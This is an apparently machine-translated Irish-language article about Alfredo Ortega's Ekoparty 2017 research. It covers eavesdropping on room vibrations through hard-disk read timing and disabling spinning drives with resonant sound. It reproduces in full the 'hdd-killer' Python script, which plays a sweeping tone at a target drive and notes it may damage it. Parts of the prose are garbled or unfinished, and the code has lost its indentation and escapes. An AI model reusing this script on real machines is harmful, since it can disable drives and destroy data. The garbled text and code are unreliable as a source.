
Ag comhdháil slándála ríomhaire Ekoparty 2017 i Buenos Aires, léirigh hacker na hAirgintíne Alfredo Ortega forbairt an-suimiúil - córas chun áitribh a shreangú faoi cheilt gan micreafón a úsáid. Fuaim !
Piocann an HDD fuaimeanna ard-déine íseal-minicíochta, céimeanna coise agus creathadh eile den chuid is mó. Ní féidir urlabhra an duine a aithint go fóill, cé go eolaithe (aitheantas cainte trí chreathadh ar mhinicíocht íseal, a thaifeadtar, mar shampla, ó ghíreascóip nó HDD).
Is éard is fuaim ann ná creathadh aeir nó meán eile. Feiceann duine iad tríd an eardrum, a tharchuireann vibrations chuig an chluas istigh. Tá an micreafón deartha go garbh cosúil le cluas - anseo freisin, déantar tonnchrith a thaifeadadh le scannán tanaí, rud a spreagfaidh impulse leictreach. Tá an feachtas crua, ar ndóigh, faoi réir vibrations micreascópacha freisin mar gheall ar luaineachtaí san aer máguaird. Tá sé seo ar eolas fiú ó shaintréithe teicniúla HDDanna: is gnách go léiríonn monaróirí an t-uasleibhéal creathadh incheadaithe, agus is minic a dhéanann an tiomáint crua féin iarracht é a chur i gcoimeádán creathadh-cruthúnas déanta as rubair nó ábhar inslithe eile. Is furasta a thátal as seo gur féidir fuaimeanna a thaifeadadh le HDD. Níl fágtha ach a dhéanamh amach conas.
Mhol Alfredo Ortega leagan uathúil d'ionsaí taobh-chainéil, eadhon ionsaí ama. Tá an t-ionsaí seo bunaithe ar an toimhde go ndéantar oibríochtaí éagsúla ar an bhfeiste ag amanna éagsúla, ag brath ar na sonraí ionchuir a thugtar. Sa chás seo, is éard atá sna “sonraí ionchuir” creathadh an chinn léitheoireachta agus an platter HDD, a chomhghaolann le creathadh an chomhshaoil, is é sin, le fuaim. Mar sin, trí an t-am ríomh a thomhas agus anailís staitistiúil a dhéanamh ar na sonraí, is féidir creathadh an chinn / pláta agus mar sin creathadh an mheáin a thomhas. Dá fhaide an mhoill ar shonraí a léamh, is ea is láidre na creathadh HDD agus, mar sin, is airde an fhuaim.
Conas creathadh tiomáint crua a thomhas? An-simplí: rith an glao córais read () — agus taifead an t-am a thógann sé é a chríochnú. Ligeann córais oibriúcháin nua-aimseartha duit uainiú glaonna córais a léamh le cruinneas nanosecond.
Braitheann luas léitheoireachta faisnéise ó earnáil ar shuíomh an chinn agus an phlait, a bhfuil comhghaol ann le creathadh an cháis HDD. Sin é an méid.
Déantar anailís staitistiúil trí úsáid a bhaint as fóntais shimplí Kscope. Mar a deir siad, tá gach rud ingenious simplí.

Fóntas Kscope (stat() syscall)
Is áis bheag é Kscope chun difríochtaí beaga a fheiceáil in amanna feidhmithe glaonna córais. Foinse.
I stór ar leith tá leagan den áirgiúlacht cumraithe le haghaidh ionsaí ama ar an tiomántán crua, is é sin, cumraithe chun anailís a dhéanamh ar ghlao an chórais read ().
Taifeadadh fuaime a léiriú ag baint úsáide as HDD, oibriú fóntais Kscope

Ar ndóigh, ní féidir cainte a thuiscint ar an mbealach seo, ach tá an HDD oiriúnach go leor mar braiteoir creathadh. Mar shampla, is féidir leat clárú má chuaigh duine ag caitheamh bróga crua nó cosnochta isteach i seomra le ríomhaire (is dócha, má tá an t-ionsaitheoir ag caitheamh sneakers bog nó má tá cairpéad tiubh ar an urlár, ní bheidh an HDD in ann vibrations a chlárú - is fiú é seo a sheiceáil). Tá an ríomhaire in ann gloine briste nó teagmhais eile a chlárú le fuaimdhéine láidir. Is é sin, is féidir leis an tiomántán crua feidhmiú mar chóras braite ionsáite neamhúdaraithe.
Tiománaí HDD
Dála an scéil, is féidir teicníc chomhchosúil a úsáid chun tiomántáin chrua a dhíchumasú. Mar sin féin, anseo ní dhéanaimid creathadh ón HDD a ghabháil, ach ina ionad sin ginimid creathadh a bheathraítear chuig an HDD. Má sheinneann tú fuaim ó chainteoir ag minicíocht a athshondaíonn le minicíocht an HDD, múchfaidh an córas an gléas go luath le hearráid ionchuir/aschur (an croí). Linux (Dúnann sé seo an diosca crua go hiomlán tar éis 120 soicind.) D’fhéadfadh damáiste dochúlaithe a bheith déanta don tiomántán crua féin.

Croí Linux Dhún an tiomántán crua síos tar éis 120 soicind de fhuaim a sheinm ag minicíocht athshondach tríd an gcainteoir USB Edifier r19u. Bhí an cainteoir casta air ag thart ar cheathrú dá chumhacht (níos lú ná 100 mW) agus suite 20 cm ón diosca crua, dírithe ar an mbord chun na creathadh a aimpliú. Fós ó le léiriú ar an marfóir HDD
Tá sé aisteach go dtarlaíonn “ionsaithe” den sórt sin ar HDDanna uaireanta go hiomlán de thimpiste sa saol laethúil. Mar shampla, i mí Mheán Fómhair 2016, cuireadh iallach ar ionad sonraí Banc ING oibríochtaí a chur ar fionraí ar feadh 10 n-uaire tar éis druil dóiteáin. mar gheall ar fhuaim ard gás támh a scaoileadh ó sorcóirí faoi bhrú ard. Bhí an fhuaim an-ard (níos mó ná 130 dB), ach ní féidir leat scairt a dhéanamh ar na tiomántáin chrua fiú - méadaíonn sé seo an mhoill maidir le rochtain a fháil ar an HDD.
Léiriú ar screadaíl an duine ag tiomántáin chrua i lárionad sonraí. Tomhas latency

Chun an fhuaim athshondach a ghiniúint, scríobh Alfredo Ortega script Python ar a dtugtar ().
Tá sé beag go leor, mar sin is féidir leat é a fhoilsiú ina iomláine anseo.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()Foinse: will.com
